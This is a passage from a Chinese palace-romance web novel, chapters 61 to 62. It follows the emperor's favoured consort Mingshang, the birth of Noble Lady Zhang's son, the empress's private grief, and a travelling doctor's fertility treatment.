御膳房呈了午膳,全福海进去传话,御案的折子已经批了大?半,李怀修执朱笔的手腕搭着御案,另一手压了压眉心,今日呈上的奏疏,有十封都是?为丽妃请封,要安抚旧臣,何故抓着他后宫的事不放。 李怀修嘴角讥讽,心中?清明其中?的缘由。 他撂了朱笔,“宓贵人近日身子如何?” 在全福海心里,后宫主子们的事没人能比得上宓贵人重要,宓贵人养伤期间,他可是?让顺湘苑的奴才一日三?禀,生怕皇上问起,他心里没底儿答不出来。 巧了,晌午顺湘苑刚来了人传话,宓贵人今儿伤好得利索,已经能跳霓裳羽衣舞了。 全福海如实答了话。 李怀修听到最后一句,唇线扬了扬,这?女子小心思忒多,丽妃丧仪礼过,她身子就好得利利索索,还故意告诉他能跳霓裳羽衣舞,摆明了试探他的意思。 李怀修倒是?不介怀这?女子对他耍弄出的那些心思,明目张胆,却是?无伤大?雅,无非是?为了引他的兴趣。 眼?见日头越来越高,全福海正犹豫要不要提醒皇上暖阁已经布好了午膳,就见皇上起了身,“吩咐御膳房把午膳送去永和?宫。” 顺湘苑的宓贵人身子一好,圣驾就去了顺湘苑,甚至皇上竟还命人将?御前未看完的折子送了过去,整整一个后午,圣驾都留在永和?宫。 明裳也不想自己病一好,就这?般惹眼?,只是?那位的心思她哪说得动,更何况,六宫嫔妃都想要皇上的宠爱,还从未有嫔妃,主动将?这?圣宠往出推的。 日暮时分,顺湘苑的宫人规规矩矩地候在廊下,守门的小太?监晒着昏昏日头,耷拉着脑袋,不时打?个瞌睡。 内殿里,重重叠叠的帷幔映出女子姣好柔美的身形,明裳朦胧地睁开眼?,翻身时,腰间的酸痛终于让她记起歇晌前发生了什?么。 枕边无人,明裳缓了会儿,半坐起身,胸前乌黑的青丝垂落,她顺着发缕向下看到胸口,脸蛋蓦地生出薄红,她一手拢住对襟,另一手的指尖去挑帷幔,露出半张小脸,向外唤了一声?,“辛柳,圣驾可是?回乾坤宫了?” 没人回应她,明裳眼?珠狐疑,以为辛柳是?见她睡着,去了外间,便拉开帷幔,坐起了身,想到什?么,又觉得生气,鼓着小嘴嘀嘀咕咕抱怨,“什?么嘛,总是?这?样,系了腰带就走……” 60-70 第061章 第 61 章 坐在碧纱橱外, 看着奏疏的李怀修,眼皮子一跳,慢悠悠, 轻飘飘地捻了捻扳指, “以前朕回?乾坤宫的时候,你都是这么编排朕的?” 蓦地听到一道男声, 明裳心尖儿一跳,飞快地捂住唇珠,踩到地上的足尖儿一个不慎, 跌坐到了地上,桃红的衾衣覆着雪白的身子,露出削瘦玲珑的肩头,那?张雪肤花貌的芙蓉面,瞬间从里到外红了个透, 她探出脑袋向?外张望, 狐疑是自?己幻听, 男人却打?那?碧纱橱里闲庭信步地走出来,腰金衣紫,慵贵持重, 对襟衣扣的金珠扣到领口, 一双狭长?的丹凤眸微微上挑,倒是有?几分疏于朝政的怡然闲适。 留在顺湘苑的李怀修,常是这般颇有?闲情逸致的闲散之姿,明裳也习惯了男人如此,但她却是不知, 帝王只有?在她宫中,才会露出不同于人前的另一面。 此时, 明裳因方才的一番话心虚不已,懊恼地闭了闭眸子,扭过脸蛋,也不去看男人,反而因晌午的胡闹吃了闷亏,颇为理直气壮,“嫔妾哪有?编排皇上,分明是皇上素来如此。” 李怀修被她气得想笑,却仍是蹲下了身,把人打?横抱起放到床榻上,虽是春末,地上寒气未退,她身子又娇弱,也不怕着了凉。届时病了,又要埋怨他,李怀修对这女子的脾气颇为头疼,时日越久,越想越不对劲,自?己放着六宫三千佳丽不放入眼,偏宠着这么一个净会花言巧语的小狐狸。 他心里憋屈,又不好说出,便捏了把明裳的脸蛋泄火,“朕不告而走,还不是因为你睡得沉,叫醒你伺候,又要跟朕闹气。” “没?良心的东西?!” 仔细想想,好像确实是这样,明裳越发心虚了,眨了眨眸子,往里缩着脸蛋,见男人不像真的恼怒,便有?些得寸进尺,嘴硬支吾,“嫔妾在家中时,可是到时就起,从不躲懒,分明……分明是皇上总欺负嫔妾,害得嫔妾睡不够时辰……” 总归不是她的错。 晌午那?会儿,用完午膳,她在一旁伺候笔墨,分明也没?做什么,男人却嫌她碍手碍脚,一来二去,就……,也不知叫外面听去了多少,青//天//白//日的,可羞死人了。 李怀修就不能跟这女子讲道理,他还有?要紧的折子要看,可没?时间听她在这胡搅蛮缠。 他冷着脸 ,被人伺候久了,也没?哄人的耐性,更何况政务要紧,他拂袖起身就要往外走,衣袖被一道力?气拉住,明裳这时候才意识到自?己小性子又使过了,委屈哒哒地望着男人,又有?点害怕,“皇上要去哪儿?” 那?女子仰着脸蛋,全无了方才的娇蛮做作,似是害怕得罪了他,刻意让自?己乖巧。 一时间,李怀修竟不禁心绪复杂,他坐拥的权利,让这女子婉转承欢,嘴甜奉承,也让她畏惧惶惶,怕落得与冷宫那?些嫔妃一般的下场。 李怀修敛下眼,不知为何,他更喜欢这女子在自?己面前无法无天,作天作地的小模样,虽令人头疼,却实在可人讨喜。 他转了转扳指,没?露出心中所想,淡淡道:“朕还有?奏疏未看。” 明裳眼神懵懂,“皇上方才一直在碧纱橱看奏疏吗?” 李怀修凉凉瞥她一眼,给她一个“不然呢?”的眼神。 明裳愈发心虚了,她知晓眼前这位皇帝有?多勤于朝政,可谓是到了宵衣旰食的地步,她病得这些日子,圣驾几乎没?去过几次后?宫,即便是后?宫至今还未有?皇子,这位也不会借着这个由头留恋女色。她这么一折腾,定是耽误了正事,不怪皇上恼她。 明裳红着脸,眼波晃动?,小心翼翼地讨好,“皇上忙着,不如嫔妾给皇上磨墨?” 提起磨墨,李怀修便记起,晌午时,这女子是如何在一旁红袖添香地伺候他,他居然没?了以往的定力?,让那?朱红的御笔批到了不该批的地方。雪白之上,红得妖冶,李怀修脑仁嗡地一响,最终仍是没?给她好脸色,冷着脸甩开衣袖,“日后?朕再忙着政务,你都不许过来伺候!” 这番话,也提醒了明裳,她伺候笔墨时,倒底伺候去了哪儿。明裳小脸更委屈了,泪目盈盈,她又没?做错什么,她也不想,让那?笔尖画到那?处啊。 圣驾一后?午都在顺湘苑,晚膳吃的是顺湘苑的膳房,这膳房里的厨子本就是御前的人,李怀修吃得合胃口,如果不是这女子从头到尾都闷不吭声,他倒还能再夹上两筷。 入夜沐浴,两人歇了晌,此时都没?多少困意,李怀修照旧倚靠在窄榻里看修政要略,明裳沐浴过,小猫似的,乖乖地蹭到了男人怀里。怀中女子卧床养了一段日子,身上长?了肉,抱着软乎乎的,抱着倒是舒服,李怀修有一搭没一搭地揽着人,不紧不慢地翻过一页。宣纸不时发出沙沙的摩擦声,明裳动?了动?身子,眼眸一眨不眨,盯着男人衣襟绣着的龙目看得出神。 她学?乖了,皇上专注的时候,没再乱动扰人心神。 李怀修颇不适应这女子乖巧的模样,看了两刻钟,就往怀里掀去一眼,指骨隔着衣裳敲了敲明裳的腰窝儿,“今儿这么乖?” 明裳愣了愣,竟也听不出男人怀里是赞许多,还是讽刺多,她隐隐觉得,这位还有?点莫名的不快。 “嫔妾这样,皇上不喜欢吗?” 说不上喜不喜欢,李怀修只是觉得不习惯,往日他看不上一会儿,就要被怀里娇娇软软的人拱得心浮气躁。 他眼神发暗,轻咳一声,面不改色地翻过一页,“倒是知晓规矩了。” 殿内静了会儿,外面忽传进嘈杂的混乱声,紧跟着全福海急跑进来通禀,“皇上,听月坞奴才传话,张贵人忽然腹痛发作了!” …… 从晌午到入夜,皇上就没?离开过永和宫,这时候六宫也不指望皇上回?乾坤宫点寝,早早就卸了妆容,就要卸了,不想要入睡时,听闻了张贵人将?要临盆的消息。 张贵人有?孕至今,期间出了些乱子,居然也安然无虞地等?到生产,就是不知,这一胎生下是男是女,是个公主还好说,倘若生下皇子,岂不是皇上的皇长?子!六宫得信的嫔妃都有?些心浮气躁,坐不住脚,思来想去,干脆换了衣裳,不管相隔几个宫所,也要去看上一看。即便什么都做不了,恭贺一句,给皇上留个好印象,也不枉费深更半夜,更深露重,跑这一趟。 圣驾往听月坞去,明裳乘在銮舆内,便没?了白日的乖巧温顺,反而小脸担忧,不时向?外张望,动?来动?去,扰得李怀修不得安宁。 他不耐烦地压了压眉峰,一把扣住女子的腰身,“朕早已为张贵人安排好了生产的太医嬷嬷,此时正在听月坞候着,张贵人不会有?事。” 明裳见男人八方不动?,不悦地瞪眼,推了把男人胸口,嗔道:“皇上自?是为张姐姐安排好了一切,可女子生产哪有?万全的把握,纵使有?接生的太医嬷嬷,可生孩子主要靠张姐姐自?己,皇上知道什么!” 李怀修嘴角微抽,他知道什么?他知道她再在他面前冒犯君威,胡言乱语,他就要忍不住把她拖出去先打?上一顿板子,让她好好长?长?记性! 偏生那?女子还喃喃自?语地担忧,“万一张姐姐出了什么意外可怎好,嫔妾得叮嘱全公公快些,皇上早早到了听月坞,也好主持大局,为张姐姐撑腰!” 她边说,倒真的向?銮舆外探出脑袋,让全福海快些。外面,全福海抹了把脸上的汗水,主子生产可是大事,他敢不快吗!但宓贵人既然吩咐了,他也只得应声。 明裳坐回?身,李怀修拧眉扫了眼她眼底毫不遮掩的急切担忧,终究把那?句话问出了口,“朕竟不知,你与张贵人这般交好。” 明裳一怔,瞄了眼男人不见情绪的脸色,辨不清这句话是在试探,还是寻常的一问,她咬了咬唇,才得安静,伏到男人胸怀,仰起精致的脸蛋,“嫔妾深得圣宠,六宫嫔妃都视嫔妾为眼中钉,恨不得除之后?快,只有?张姐姐不在乎这些,能与嫔妾说说话,嫔妾自?是记挂着张姐姐。” 这女子倒是诚实,后?宫表面花团锦簇,根底下何尝不是一团污泥,李怀修有?心整治,但前朝后?宫盘根错节,也是难以一时清除。更何况,水至清则无鱼,他忙于前朝,更无暇劳心后?宫琐碎,只要不涉及皇嗣,睁一只眼闭一只眼,何尝不是一种法子。 李怀修瞳孔漆黑,手背摩挲着女子的脸蛋,仿若漫不经心地问出口,“即便六宫有?人怀上朕的孩子,你也不在意?” 男人眼眸深深,静静地盯着她,明裳呼吸一紧,总觉今日皇上的试探也太多了些,她攥紧手心,调整好脸上的表情,真诚而又无辜,“嫔妾为何要在意,嫔妾知晓皇嗣也是大魏根本,皇上重视皇嗣,嫔妾一心侍奉皇上,自?然都会以皇上为重,嫔妾与其他姐妹的龃龉,断然不会牵扯到稚子身上。” 这番话乖巧大义,毫无纰漏,倘若她是男子,依着这张巧舌,纵使没?读书的心性天资,做不了重臣,也该会做到帝王近臣之位。 然不知为何,李怀修此时觉得有?些索然无味,他捻了捻扳指,仿似随意地移开眼,脸色却寡淡了许多。 倘若有?女子从不嫉妒夫君与旁人房事生子,能是因为什么?李怀修没?有?细究缘由,他如今宠着这人,她这般想,本该是合了他的心意。 如此,甚好。 …… 张贵人这一胎前几日就有?了要发动?的征兆,因而听月坞的宫人留神伺候,每日也有?嬷嬷为张贵人摩挲胎位,防止胎位不正,生产艰难。 身下发作时,张贵人正倚着窄榻吃甜枣,她扶着肚子,抓住窄榻的靠背,直觉自?己是要临盆,面容还算镇定,吩咐宫人立即准备生产。 圣驾到了听月坞,已经赶到的嫔妃立即出去迎驾,贤妃先到了一步,已经找宫人问过话,她福了身子,说明里面的情况,得知张贵人还算顺利,明裳才舒了口气。 嫔妃们?见到跟在皇上后?面的宓贵人,是在意料之中,这夜皇上召寝宓贵人,宓贵人又与张贵人面上交好,不论如何,都要来这一趟。只是六宫少有?人能乘上皇上的銮舆,宓贵人却不知有?几回?得这样的殊荣,嫔妃们?心头不由得发酸,做甚宓贵人处处能得好处! 贤妃将?众人的神色收入眼底,她敛下眸子,嘴角讥讽一扬。 殿内,清晰地传出女子阵阵疼痛的喊叫声,这番情形似曾相识,杨才人当初生产,好似比张贵人疼得还要厉害。 明裳拧着细眉,手心死死攥紧,呼吸都停了几分。 她此时想的有?些复杂,她入宫也是奔着高位荣耀而来,人心易变,倘若张贵人诞下的是个皇子,日后?她倘若有?孕,也生下了皇子,最终若有?身不由己,参与到夺嫡之争,情势所逼,二人总会有?反目的一日。 但,她也相信那?位…… 明裳抬起眸,无声地看向?等?在外殿,冷沉端肃的帝王,当今并非先帝那?等?昏庸之主,谁能坐到那?个位子上,全看皇上的意思,哪是后?宫相争就能有?的结果。父亲曾与她说,当今是为明主,择臣择贤,料想这位,择君亦然。何况当今春秋鼎盛,日后?后?宫中总会有?嫔妃诞下皇子。 她不是不明白,自?己之所以得宠,不止是因皇上喜爱她的性子,还因为她懂分寸,知进退,不让人劳心。她也是愿意在最得宠之际生产,那?位也会因对她的怜惜,而喜爱她生下的孩子。 赶到听月坞的嫔妃,几乎没?人与明裳同一心境,孩子又非从她们?肚子里出来,与她们?有?何关系。有?些看热闹的人不禁心生阴暗,只盼张贵人这一胎生不出来才好,即便生出来,最好也是个没?用的公主。 六宫嫔妃只当宓贵人是因生得那?副容貌得宠,却永远参不透那?位的心思。正因如此,明裳受宠,也是必然。 皇后?赶到听月坞时,张贵人已进了产房半个时辰,盆盆鲜红的血水自?里端出,叫人看了触目惊心。 坤宁宫隔上数个宫所,皇后?此时赶到,已是够快了,她进了内殿,福身向?男人请罪。 李怀修并没?什么心思听皇后?循规蹈矩,随意抬手让她起来,皇后?由宫人扶着起了身,询问张贵人情形如何,贤妃觑了眼皇上心不在焉的神色,启唇轻声答道:“才过半个时辰,方才接生嬷嬷通禀了一回?,还算顺利。” 皇后?微微笑道:“贤妃妹妹聪慧干练,有?贤妃妹妹在,本宫也是放心。” 贤妃面不改色地掩唇轻笑,“有?皇上在主持大局,臣妾没?帮上什么忙。” 殿内的嫔妃听着皇后?与贤妃你来我往,倒是驱散了更深露重的疲惫,皇后?与贤妃争权,却都无子,倘若张贵人诞下皇子,不知皇上是交给皇后?,还是交由贤妃抚养。 皇后?淡淡地垂眸,仿似漫不经心地抚了抚指尖的护甲,外殿的血腥味太重,她扫了眼漏刻,走到李怀修面前,温声劝道:“夜色已深,皇上明日还有?早朝,不如先到偏殿歇息,张贵人一有?动?静,臣妾立即叫人去通禀皇上。” 贤妃也立即上前出声,“皇上龙体要紧,这里就交给臣妾和皇后?娘娘吧。” 殿内,张贵人生产,宫人未免冲撞皇上和宫里的主子们?,都放轻了脚步,但女子生产,终究是有?准备不到的地方,难免慌乱。尤其是鼻翼下掩盖不住的血腥味,在里面待久了,叫人闷得厉害。 嫔妃们?静静地等?着,这时候可没?有?她们?说话的份儿。 李怀修压了压眉骨,对皇后?与贤妃二人藏着的心思颇有?不耐,他甚至都没?看二人,沉声,“不必。” 简短冷淡的两个字,足已令人心惊胆颤,换作心性胆小之人,怕是已经吓得当场跪到了地上。 皇后?微抿住唇,敛下眼眸,没?有?再语。 贤妃本就不在意这般小事,皇上提她位份,本意就是让她与皇后?制衡,她说上这几句,也是有?意让皇上看到。 她转开眼,正对上皇后?看过来的视线,她恭敬一笑,皇后?淡然地从她身上,看去了宓贵人。 贤妃侧目,目光与朝宓贵人看去,张贵人与宓贵人交好,宓贵人担忧理所应当,只是,她也与旁人同样好奇,要是张贵人生下的是个皇子,日后?与宓贵人又要如何相交?不过这事倒也说不准,皇上正值盛年,日后?宫里再进新人,诞下皇嗣,张贵人肚子里这个,还真算不得什么。 想到这,贤妃脸色就淡了。 外殿的众人各怀心思,这时候,内殿里传出女子又一阵痛苦的呻吟声,众人呼吸一滞,纷纷提起了心神,紧跟着,耳边稚子哭声响烈,接生嬷嬷从产房里欢天喜地地跑出来,抱着新生的婴儿扑通跪到地上,脸上眉飞色舞,“恭喜皇上,贺喜皇上,喜得皇子啊!” 张贵人居然真的生下了一个皇子! 殿内众人面容呆滞,神色不一,暗暗嫉妒如此好命的张贵人,却不敢将?怀揣的心思露到面上,竞相做出一副欢喜之色,齐齐跪身恭贺道:“臣妾恭喜皇上,喜得皇子!” 小皇子抱出来前,接生嬷嬷已经擦过了身子,仿似也不怕生,乌溜溜的黑眼珠好奇地看着自?己的父皇,贤妃凝眸瞧着小皇子温声,“小皇子的眉眼生得好,像极了皇上。” 刚下生的襁褓婴儿,怎就看出了眉眼像极了皇上,众嫔妃们?不屑贤妃的谄媚,皇上之所以提了贤妃位份,贤妃怕是没?少在皇上跟前说好听的话。 不过张贵人生的可是当今的皇长?子,不论如何,都是极好。 李怀修龙颜大悦,“张贵人诞下皇子有?功,着礼部册拟,册封三品嫔位,为张贵人接生的一众人等?,统统有?赏!” 伺候张贵人接生的宫人嬷嬷太医,大喜过望,喜不自?禁地跪地谢恩。 张贵人生产劳累,已经昏睡了过去,李怀修看过小皇子,吩咐宫人照顾好张贵人,出了外殿。 跟随伺候的全福海瞄了眼仍在殿内站着的宓贵人摸不着头脑,今夜经这么一打?岔,皇上这是要回?乾坤宫还是要再去顺湘苑? 他硬着头皮,正要询问,就见宓贵人已经从里面出来,他觑了眼皇上的脸色,却见皇上面色深沉,好似并无方才在殿内的悦色。 宓贵人从后?面跟上来,费了些力?气,呼吸急促,面颊微红。 片刻前,明裳正仔细询问接生的宫人,张贵人身子如何,那?宫人一一对答完,张贵人并无大碍,她才放下心,转头,就见皇上已经离开了。 她提着裙裾,娇喘微微,面庞在皓月的柔光下,白皙静美。 李怀修此前莫名的不快,终于疏解了些许,他脸色稍有?和缓,“朕还有?政务,让御前的宫人送你回?永和宫。” 深更半夜,还有?何政务? 明裳眸子讶异,谨守着规矩,听话地没?再多问。今夜仓促混乱,即便圣驾重回?顺湘苑,她怕是也没?心思伺候这位。张贵人生产艰难,盆盆端出的血水令人触目心惊,皇上却只是叮嘱宫人照顾好张贵人,令赐下赏赐,她甚至,都未从这位脸上看出一丝的不忍心疼,明裳说不失望是不可能的,张贵人曾侍奉君王枕侧,这位却只是想让张贵人为皇室开枝散叶,制衡朝政,天家何其残忍,深处后?宫的女子又何尝不是可悲。明裳也知道,帝王居权力?之上,不该有?情,这位能赐下这般多的赏赐,已是天恩。 她应声,规规矩矩地福了礼,恭送圣驾。 李怀修捻了捻扳指,眼眸深深,静静地盯了她一瞬,转身拂袖离开。 全福海虽是个没?根儿的阉人,也察觉出了皇上待宓贵人的态度很是不对,难不成在他不知道的时候,宓贵人又说了什么大逆不道的话,把这位得罪了? …… 张贵人平安诞下皇子,这一夜后?宫注定难眠,无人安睡。 坤宁宫 皇后?扶着宫人的手下了仪仗,月色浓浓,已经到了下半夜,在听月坞站了几个时辰,又受风吹了些时候,皇后?此时额头微微泛疼,她压了压眉心,“公主可有?被惊动??” 文竹望着娘娘苍白的脸色面露担忧,宝珠公主自?从养到坤宁宫,娘娘待她何曾不是尽心尽力?,可宝珠公主年岁大,与生母情分深,看似乖巧,实则常常想主意要去看望生母,在坤宁宫安睡不定,时常惊醒,日子久了,心忧生疾,一着凉便容易发高热,坤宁宫不过几日就要传太医,六宫闻讯,都以为娘娘苛待了宝珠公主,可娘娘心里何尝不苦。她眼见着皇上与娘娘疏离渐远,圣驾每每到坤宁宫,皇上都是先去看宝珠公主,皇上哄着宝珠公主的时候,娘娘眼中有?多落寞。 她压下心头哽咽,缓声道:“小公主白日玩的累了,夜里也就不容易醒。” “夜风尚凉,娘娘累了一日未得空,奴婢伺候娘娘进殿歇息吧。” 皇后?疲惫地点了点头。 曳地的凤羽披风拢着皇后?的双肩,雍容华贵之下,又有?多少不为人知的酸楚。皇后?掀眸,漫不经心地拢了拢披风,今夜她与贤妃的一番对话,也是她故意为之,皇上提了贤妃,倘若她再这般下去,早晚会空有?皇后?头衔,唯有?示弱,才有?可能让那?位记起潜邸时的夫妻情分,记起,她曾经也如张贵人今夜,拼命生下一个孩子,可惜那?时皇上并不在府上,她的孩子,也没?等?到父亲回?来,就夭折在了寒冬中。 她心口骤疼,身形踉跄了下,空洞地望着圆月,含泪闭上了双眼,每每想起自?己早夭的儿子,都痛不欲生。 文竹见娘娘流泪,吓了一跳,慌忙上前扶住娘娘的身子,“娘娘这是怎么了?怎么哭了?” 皇后?由着泪水从脸上划过,平静地看向?坤宁宫的大字匾额,“丽妃殁了有?几月了,孟家无势,那?位也不会让孟静瑶一直留在宫里,还有?两年选秀,后?宫的娇花就凋零得这般快,也叫人无趣。” “这后?宫,还是要花团锦簇,热热闹闹的才好。” 文竹不明白娘娘为何忽然说这些话,她从中听出娘娘的意思,后?宫能侍寝的嫔妃的越来越少,娘娘是想……往这宫里再添新人。 她怔怔地愣在原地,眼眶不禁酸涩。 …… 夜浓如墨,此时已经是下半夜,再过两个时辰就要上早朝,这一日,皇上也在宓贵人那?儿歇了半个时辰,宓贵人睡着的后?午,皇上就坐在碧纱橱批折子,这般宵衣旰食下去,全福海可真是担心皇上的龙体。当今虽是喜怒无常,甚至忙起公务六亲不认,总比动?不动?就要砍身边内监脑袋的先帝爷好上千倍,更何况小皇子刚刚降生,前朝后?宫虎视眈眈,全福海可舍得当今这位主子,只盼着皇上龙体康健,可千万别抱恙。 他正胡思乱想,见皇上执笔,笔走龙蛇,俯身时,提笔间在宣纸上写了一个“温”字。 “朕为皇上子取‘温’,如何?” 全福海哪敢说皇上取的名字不好,忙赔笑赞誉,“皇上取的字自?是极好!” 李怀修撂了笔,转着扳指淡淡睨了他一眼,全福海缩了缩脖子,讪讪一笑,不敢再说话了。 “彼固天下之大虑也,将?为天下生民之属长?虑顾后?而保万世?也,其氵不长?矣,其温厚矣,其功盛姚远矣,非孰修为之君子莫之能知也。”李怀修为此子取字温,也是希望,他能敛蓄甚善,修养有?为,食民之禄,便要做好为民之事。 李怀修坐在金銮御座之上,明明灭灭的烛火映着男人的侧脸,面如刀裁,眼目深深。 自?古帝王江山,翻手为云,覆手为雨,日月所照,风雨所至,莫不从服。 全福海不知所想,瞄了眼御座的皇上,惊心畏惧地垂下了头,皇上御极后?,慢慢将?先帝爷放出的权利收拢在握,短短三年,他竟觉得眼前的皇上愈发令人胆颤惧怕了。 …… 翌日,六宫嫔妃去给皇后?娘娘问安,都有?些气色不佳,精神恹恹,大抵一夜未睡。 皇后?早早叫她们?散了,明裳离开坤宁宫,先去看望了张嫔,刚生产后?的张嫔,精神竟比去坤宁宫问安的六宫嫔妃还好些,她缚着鹅黄的抹额,手中正捧着苦汤药,看见她来,唇边微扬,招呼她坐下。 明裳微笑道:“张姐姐这精神瞧着倒是好,身子可还有?不适?” 张嫔眼光柔柔,“陈太医说我身子底子要比寻常的女子好些,养得也快。” 一大早,御前就下了圣旨,册封张贵人为张嫔,赐下的赏赐也多如牛毛,数不胜数,内务府不敢怠慢,小心翼翼地伺候这位新主,送皇上赏赐时,见殿里的红漆凭几退了色,这会儿正搬过来梨木雕花的,叫人换着。 内务府新上任的大总管毕恭毕敬地请示,“张主子还缺什么少什么,尽管开口,奴才都给您办妥帖了!” 张嫔应了几句,便要水琳打?赏送人。 待殿内没?人,两人才得了清净说话。张嫔也没?料想到,自?己居然真的生了位皇子,皇上多年无子,她也知晓皇上对这个孩子的看重,更知晓,前朝后?宫,有?多少人眼睛盯到了温儿身上。 幸而,她母家早已倾颓,母家无依,也就不必担忧帝王的猜疑,也因此,皇上才升了她的位份,将?温儿交由她抚养。 眼下,张嫔虽是知足,但不得不有?所防备,后?宫皇后?与贤妃相争,焉知两人不曾将?心思,打?到她的孩子身上。 张嫔诞下皇子,六宫皆送来的恭礼,明裳送的是一只讨巧的碧雕老?虎,触感温润,雕得栩栩如生,极为讨喜。张嫔早年侍奉过尚是潜邸时的成王,一眼就认出,这是皇上少时,山中狩猎回?来照着那?虎兽所雕,被视为吉物,可避邪祟,竟到了宓贵人之手,不知宓贵人是否知晓此物的来历,轻易送了她,如此,也可见了皇上待宓贵人的宠爱。 她微微出神,一脸凝重地让水琳将?此物收好,切不可视于皇上。待下回?宓贵人再来,她得将?此物说明缘由,送还给宓贵人。此雕于那?位而言意义非凡,倘若皇上得知宓贵人此举,必会生了怒气。 思忖过,张嫔垂下眸子,碰了碰稚子的侧脸,柔柔轻笑,“宓贵人如此疼爱你,日后?你长?大了,可要敬着你宓娘娘。” 她没?什么野心,只希望温儿能如那?位赐下的名字一样,温和敦厚,是个平庸之人,做个闲散王爷,伴在她身侧,足矣。 …… 李怀修下了早朝,宫人小心翼翼地伺候皇上换下朝服冠冕,他合着眼,想起昨日南昭王呈上的折子,“那?游医可去永和宫了?” 全福海一直叫人盯着动?向?,宫门一开锁,南昭王就命人拿着王府腰佩送游医进了宫,皇上今儿早朝下得晚,这会儿约莫已经给宓贵人看诊完了。 他低着脑袋,如实答话。 李怀修解了衣袖的扣子,负手走到御案后?,随意捡起一本奏折,却无心再批,“待那?游医看完,立即让他来见朕。” 全福海应话,又记起一件事,想来还是要通禀给皇上,“丽妃娘娘故后?,孟常在卧病在床,郁郁寡欢,太医院已有?多位太医前去看诊。” 李怀修眼眸未掀,压了压拇指的扳指,“既去了这么多太医,斓月阁有?什么,她也该知道了。” 孟常在入宫这么久,也曾侍寝两回?,却始终没?有?身孕,斓月阁能放了什么? 全福海啧啧感叹,树倒猢狲散,丽妃娘娘汲汲营营这么多年,可曾想到过今日,与天家作对,能有?什么好下场。 第062章 第 62 章 明裳自是不知那只碧雕老虎的由来, 她是从乾坤宫的寝殿里得的此物?,当时只觉得喜爱得紧,央着男人?送她, 当时皇上看她的眼光极为复杂, 她有些不解,架不住她的纠缠, 终是落了她手。 她选中这物?时,还有些不舍,又瞧不上别的东西, 便忍痛送去了,倘若她知晓其中的原因,定要锁到匣子?里,日日夜夜叫人?盯着才是。 明裳侍寝至今不过一年,下毒那事过去, 便没了下文, 皇上迟迟未告知她缘由, 她隐隐约约猜出其中的原因或许自己不该知晓,因而从未去问?过。 又过数月,仍旧没有动?向, 她不是没疑心过自己的身子?有什?么问?题, 只是太医院太医前来看诊,也瞧不出什?么。直到那日,皇上亲口?说与她,安排了南昭王寻游医为她看身子?,她心中不可谓不震惊, 六宫不缺能?有孕生子?的嫔妃,皇上却只对她这般大费周章, 想让她怀上一个皇嗣。 明裳并没有深究其中的原因,她既进了宫,就该知道,嫔妃所拥有的,全凭那位的心思,那位既然宠着她,她是蠢了,才会推辞。 有了皇嗣,日后正也有所倚仗。 …… 那游医名?方字整,行?医数十年,确有几分本事。他?写了方子?,交给宫人?如何取药煎服,又叮嘱了禁忌,收拾药箱,起身扶着小徒弟前去面圣。 他?承袭的师父,曾在宫中做御用太医,在宫里伺候,知晓得越多,消失得也就越容易,师父九死一生逃出上京,传授他?一身医术,不想,他?竟也有一日,回到师父待了数十年的地方。 方整拂了拂衣摆,带着小徒弟恭敬叩首,“草民叩见皇上,皇上万岁万岁万万岁!” 他?在民间行?医数十年,历经两朝帝王,当今御极之后,他?更是在民间听过诸多的戏文话本,成?王如何北征凯旋,收复大魏国土,御极后,如何颁布新政,治理农桑,削减赋税,惩治贪官污吏,他?之所以入宫,一是因皇权威慑,二则是因当今上位后,确实做了诸多为民之事,他?入宫,也是心甘情愿。 只是让他?意外的是,皇上便寻民间医者,竟只是为后宫一位主子?看不孕之症,让他?颇有些匪夷所思。 李怀修让他?免礼起身,“宓贵人?的身子?如何?” 方整敛了心思,垂着头,凝神道:“贵人?身子?并无大碍,只是受自胎里带下的弱症所害,腹寒不治,才迟迟未有身孕。草民已为贵人?开?了方子?,依照草民给出的剂量日日煎服,不出半年便可大好,再加以滋补调养,定能?怀上皇嗣。” “只是……” 他?稍有迟疑,不知接下来的话该不该说。 李怀修眯了眯眼,沉声:“只是什?么?” 方整垂着的头愈发低了些,“只是贵人?在服药期间,少则半年,不可有房事,否则必然前功尽弃。” 一旁听着的全福海,差点惊掉了下巴,呆呆地望向皇上,果然见皇上脸色瞬间变了。方整也是有苦难言,皇上既然寻到民间医者为宫里的主子?看诊,可见这位主子?深得圣宠,他?本想起猛药佐之,又怕害了贵人?的身子?,落得与师父一样的下场,故而只能?硬着头皮用了这样的法子?。 方子?拿给太医院看过,确定可行?,到晌午,太医院煎了药,立即送去了永和宫。 此时,顺湘苑,明裳盯着案上浓浓的苦汤药,咬着唇,有些气?恼,半年不能?侍寝,等到半年后,皇上都忘了她了,身子?好了又有什?么用!什?么游医,分明是庸医! 明裳哼了声,摔摔打打地扔出手边方才把玩的核桃木雕,不偏不倚,正砸到进来的李怀修脚边。 宫人?呼吸一滞,吓得忙不迭跪下了身子?,颤颤巍巍地请罪。 明裳抬起眸子?,微微愣住,很快反应过来,提了裙摆,前去屈身福礼,只是那张脸蛋,多少有点未退的气?闷。 那只核桃木雕,是前几日这女子?突发奇想,想要核桃木做雕,内务府自是不敢怠慢,只是这女子?让雕麒麟兽头生八角,实在强人?所难,才禀到了他?处。李怀修听得想笑,终究是没做成?八角的麒麟。 明裳眸子?小心翼翼地掀起,又极为心虚地把木雕捡起来,仿若无事地递到绘如手中,示意她快些拿下去。 李怀修懒得理会这女子?的小心思,撩袍坐去窗边的窄榻,凭几上呈着的苦汤药涩味浓浓,就是他?闻着,都要皱皱眉头。 他?难得生出些许的心软,招手让那女子?过来。 明裳咬着唇,起了身子?,到男人?跟前,便伏到了李怀修怀中,泪目盈盈,委屈哒哒,“嫔妾不能?侍奉皇上了,皇上还来嫔妾这儿做什么……” 那娇娇软软的委屈,直叫人?心疼得紧。 李怀修掠去一眼,指腹掐了把女子的脸蛋,竟有些无奈失笑,倘若不知情者,还以为这人?是受了什?么天?大的委屈。 他?敛眸,放缓了声,难得轻哄:“不过半年而已,你是想承宠一时,还是想早日怀上朕的皇嗣?” 明裳蓦地从男人?怀里仰起脸蛋,美眸轻挑,半瞪过去,“皇上说得轻易,倘若半年里,皇上有了新人?,忘了嫔妾,嫔妾在皇上面前哭,皇上都觉得厌烦,如何再怀上皇嗣!” 旁人?轻易怀了龙种,有孕时不能?侍寝,却能?得皇上常去看望,她还未有孕,就要半年不能?侍寝,先不提半年后能?不能?怀 上皇嗣,纵使调养好了身子?,如杨才人?一般,得了落寞,又该如何是好?明裳越想越觉得委屈,泪珠子?噼里啪啦地往下掉。 